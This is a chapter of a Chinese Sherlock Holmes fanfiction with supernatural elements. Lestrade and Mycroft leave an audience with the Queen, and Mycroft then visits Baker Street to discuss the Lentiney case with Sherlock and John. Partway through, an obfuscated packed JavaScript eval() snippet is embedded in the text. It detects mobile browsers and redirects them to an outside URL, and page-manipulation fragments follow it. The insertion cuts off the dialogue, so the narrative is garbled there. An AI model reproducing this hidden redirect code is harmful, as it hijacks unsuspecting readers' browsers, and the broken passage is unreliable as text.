57.57
作品:《[SH]侦探、与医生、与非典型探案》 “和女王陛下当面汇报,还真是……”
雷斯垂德感觉自己从那间气氛肃穆的书房内走出来的时候,腿还在发软。
即便他已经是第四小队的负责人,职位也因为怪癔那次的事情高升,但对比其他小组的负责人,在经验和履历上仍旧显得相对稚嫩。
毕竟,在几年前,他还是只能仰望这些前辈的人。
但现在他已经需要和他们并肩而立,担负起那些曾经看来无比艰巨的重担。
迈克罗夫特不紧不慢地和他同行一段道路。
“只不过是一次简单的情报交换和汇总,不是吗?”
这位面容和善,体型宽厚的男人被宫殿内的警卫时刻关注警惕着。
雷斯垂德的一位同僚快步上前,语气冰冷地说道:
“这可不是容你随意放肆的地方!”
他是白骑士团其他常年在外的小组负责人,见到雷斯垂德与迈克罗夫特并行的时候,脸上露出难以理解这种行为的反感。
在他看来,即便这个生物披上了和人类一样的外皮,可对方依旧是某种无法用常理理解的超凡生物,就如恶魔一样,它们或许随时都有可能撕开和善伪装的外表,反咬周围任何人一口。
迈克罗夫特看着他,微微眯起眼。
雷斯垂德心中一紧,急忙挡在他们中间。
“西蒙斯先生!”
迈克罗夫特并未将那些难听的挑衅之言放在心上。
他挥挥手。
“我也不会对一位刚在战役里失去很多士兵的将领发怒,更何况他的妻子也死于这场由魔鬼引发的灾难之中,而他还有一个年幼的女儿需要单独抚养。”
西蒙斯的手指痉挛了一下。
对方只用一眼就看穿了他极其糟糕的近况,即便雷斯垂德曾说过,这是观察和推理,但他依旧觉得这像是某种极为恐怖的法术。
这时。
“西蒙斯队长。”女王身边的秘书从后方急匆匆地迈步赶来,“请您停步,陛下需要您立刻回头,对接下来的事情再做讨论。”
这位黑眼圈明显的秘书看起来已经加班很长时间。
不过一种持续笼罩在这座宫殿,这座城市,甚至是这个国家上空的紧迫感,让他完全不敢懈怠。
“雷斯垂德队长。”
他又对雷斯垂德点点头。
“陛下也让我叮嘱您,最近这段时间请保持联络的畅通,她会在适当的时候请您再度来到这里。”
雷斯垂德连忙点头。
最后秘书看向迈克罗夫特,恭敬地说道:
“陛下托我向福尔摩斯先生再询问。”
“‘贝克街的居民会在最后如何选择?’”
迈克罗夫特笑得和善。
“这不是我的工作范畴。”
“如果女王好奇,何不委托我的弟弟前去询问一番?或者,他的房东哈德森太太,应当会乐于帮忙解答。”
“当然,女王若是不适合出面,我的建议是,福诺克公爵也是个不错的人选。”
秘书点点头。
“感谢您的解答,我将会向陛下转达。”
大气不敢喘的雷斯垂德直到离开这里,才缓缓深呼吸一口气。
“我简直不敢相信……你竟然如此从容镇定!”
迈克罗夫特说道:“对于我而言,这次谈话和在俱乐部的陌生人房间里的任何一次都没有区别。”
雷斯垂德脸上的震惊更明显了。
“我当初还不相信医生和我说,你与歇洛克是兄弟,但现在看来……你们之间真的很相似。”
迈克罗夫特说道:“哦……如果你拿我和歇洛克作比较,那我们还是有许多不同的。”
他们身后的宫殿安静伫立在晨光之中。
不知不觉,这次会谈竟然持续了一天一夜,直至现在还有不少人被女王留下在讨论接下来要做的某件重要之事。
“那么,迈克罗夫特先生,需要我接下来捎您一起回家吗?”
雷斯垂德问。
迈克罗夫特摇头,“谢谢你的好意,不过我接下来需要去贝克街一趟。”
“是为了找哈德森太太?”
“当然不是,我刚说过这不在你们雇佣我要做的工作范畴内。”迈克罗夫特说得很坦白直率,“我需要去找我的弟弟,理一理在莱文蒂兄妹这件事里发现的有趣线索。”
雷斯垂德下意识看向距离宫殿不远处的圣保罗大教堂。
那是福音教在整个伦敦,也是在整个国家最重要的心脏枢纽。
“是和……有关吗?”
他省略了中间的音节。
“有一定关联,不过要更深层次些。”
迈克罗夫特说道:
“如果这件事被确定为真,那么接下来好几个月的报纸头条可就不是我的弟弟歇洛克做主角了。”
虽然他这么说着,可神情丝毫不像刚刚宫殿里的那群人那样,脸上是如临大敌的紧张。
他甚至是很期待的。
期待着接下来即将发生的某事。
迈克罗夫特笑道:
“最有趣的悬念,总是要留到精彩故事的最后才揭晓。”
“成为故事中的一个角色,倒也是有趣……也让我一起看看最后的结局是什么吧。”
***
贝克街221B。
当蒸汽推动着大本钟内部的铁锤,狠狠击打金属锣面敲打第四下的时候,公寓里迎来了一位意料之中,也在意料之外的客人。
约翰有些惊讶地打开门,邀请按响门铃的客人入内。
“迈克罗夫特!”
“欢迎。”
歇洛克正坐在他的老位置上看报纸,面前是哈德森太太不久前刚送上来的下午茶。
“果然是迈克罗夫特吗?请进!然后请坐!”
“一起来喝杯下午茶,如何?”
老太太的手艺还是一如既往美味,不知不觉里他也像约翰一样开始享受起下午茶的这段时光。
迈克罗夫特欣然入座。
“你肯定是刚从白金汉宫来。”
歇洛克的视线还在继续掠过今天的报纸。
“那位陛下是准备做出什么大动静吗?”
几天前的夜晚,在远郊那栋别墅里发生的事情,被定义为了火灾,但有趣的是,白金汉宫特意放出消息,强调了这是某些邪教成员为了谋财害命进行的人为纵火。
那对马夫夫妻已经在那场大火里丧命,保罗·莱文蒂也因为谋杀入狱接受人世的审判刑罚。
“如果你是说之前那些险些异变的白骑士团成员,皇家医学院的医师们已经对他们进行了紧急治疗,之前从万灵药成分里提取出来的药剂,应用在他们的病情上,效果居然意外不错。”
迈克罗夫特说道:
“不过女王不仅要求医师们治好他们的身体,同时还要求——”
他伸手点了点自己的太阳穴。
“仿照出不少保罗签下的那种契约,让那些受到不同程度灵魂污染的人一并签字。”
亲手签下那契约,就意味着从此断绝和神秘侧的往来,不管是从魔鬼,还是天使那里都无法再获得超凡的力量。
约翰诧异。
“消除他们关于神秘侧的记忆?”
而不是像以往一样稳定他们的精神状态?
“那位女王恐怕是想做出一番不同以往的大动作。”
迈克罗夫特若有所思。
“其他的,出于工作保密需求,我就不能多说了。”
气氛因为这番话变得有些紧绷起来,但迈克罗夫特丝毫没有紧张忧虑的感觉。
他拿起一块司康,浅尝一口还能由衷称赞哈德森太太的手艺绝佳。
歇洛克放下报纸,这次主动问道:
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15101027|157846||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“也就是说我的推理和你的想法很接近?”
“几乎一模一样。”迈克罗夫特笑道:“我接受良好,不知道你呢?”
歇洛克沉吟,没有回答迈克罗夫特的这个问题,反而转头看向约翰。
“约翰。”
约翰看向他们,“怎么了?”
今日是个难得的好天气,午后的阳光明媚到足以穿破浓郁的雾气,从窗外照亮他们的公寓。
贝克街外马车行驶路过声、街边摊贩叫卖声、孩子们奔跑嬉闹声不绝于耳。
在名为约翰·华生的人类到访此处后,这条街道就热闹非凡,和人世别无二样。
歇洛克的目光从窗外转回好友的脸上。
然后问了一个看似古怪的问题。
“约翰,你觉得魔鬼和人类是什么的关系?”
“魔鬼和人类?”
约翰一愣。
在人们常有的印象中,大多将芸芸众生形容成纯洁的羔羊,教会中的牧师是主钦点的牧羊人,指引着羊群前进的方向。
为了保护无力的羔羊们,牧羊人又带来牧羊犬护卫羊群,这就是教会使者成立的初衷,后来也逐渐演变为成员都是拥有超凡力量的白骑士团。
而这一切成立的缘故,来自人们对魔鬼的恐惧。
魔鬼如同饿狼,一直对羊群垂涎欲滴。
脱离群体,盲目追求执念的羔羊会落单成为饿狼的狩猎对象。
这么来看,魔鬼应该是在狩猎人类。
不过歇洛克是想问这么浅显的道理吗?
他思索了很长时间,像是隐约抓到了什么关键,可无法直接将最心底潜意识的所思所想用言语表达出来。
见约翰停顿,歇洛克不语。
迈克罗夫特并不在意地举起茶杯,对他们这对搭档说道:
“这件事不用着急,在最终时刻来临前,我们还有时间慢慢思索,最后给出自己的答案。”
他轻抿了一口红茶,觉得这里的美食和风景,也和书籍一样符合自己的口味。
话题逐渐在茶水与点心之间翻篇。
在下午茶的最后,迈克罗夫特像是想起什么一样,问自己的弟弟。
“所以,歇洛克。”
“那天晚上之前,我邀请你一起先去一趟下布里克斯顿,查清索菲的过往身份经历,你为什么拒绝了我,反而先去保罗所在的那间别墅?”
歇洛克说道:
“梅拉斯近距离接触保罗的时候,有部分被污染的痕迹,你想先去下布里克斯顿,是预先假设了保罗就是造成一切的始作俑者。”
迈克罗夫特理所当然地说道:
“他的嫌疑最大,最后不也证实,他正是导致那一切发生的源头吗?”
“住在下布里克斯顿的那位先生就是证人,他的话也是最有力的证言。”
歇洛克点头。
“的确如此,但……”
他说道:
“假如保罗·莱文蒂不是罪魁祸首呢?”
迈克罗夫特挑眉看着他。
“下布里克斯顿也可以是明天去,因为那位证人没有生命危险。”
“可保罗·莱文蒂随时可能会因为魔鬼的变卦而死,假如他不是罪魁祸首,那将有一个活生生的生命,因为这短暂的时间差而坠入深渊地狱。”
正如他之前和雷斯垂德以及其他人说过的。
即便是很相似的“兄弟”,但歇洛克和他还是不同的。
在不知不觉里,他和医生变得更相仿起来。
遇到这种情况并非先去搜集证据,证明自己推测的真相,而是为了保护一个脆弱的可能,按耐了自己的喜好冲动。
迈克罗夫特露出些许笑意。
他喝了口红茶。
“这样啊……”
但也没有什么不好的。
【希腊译员完】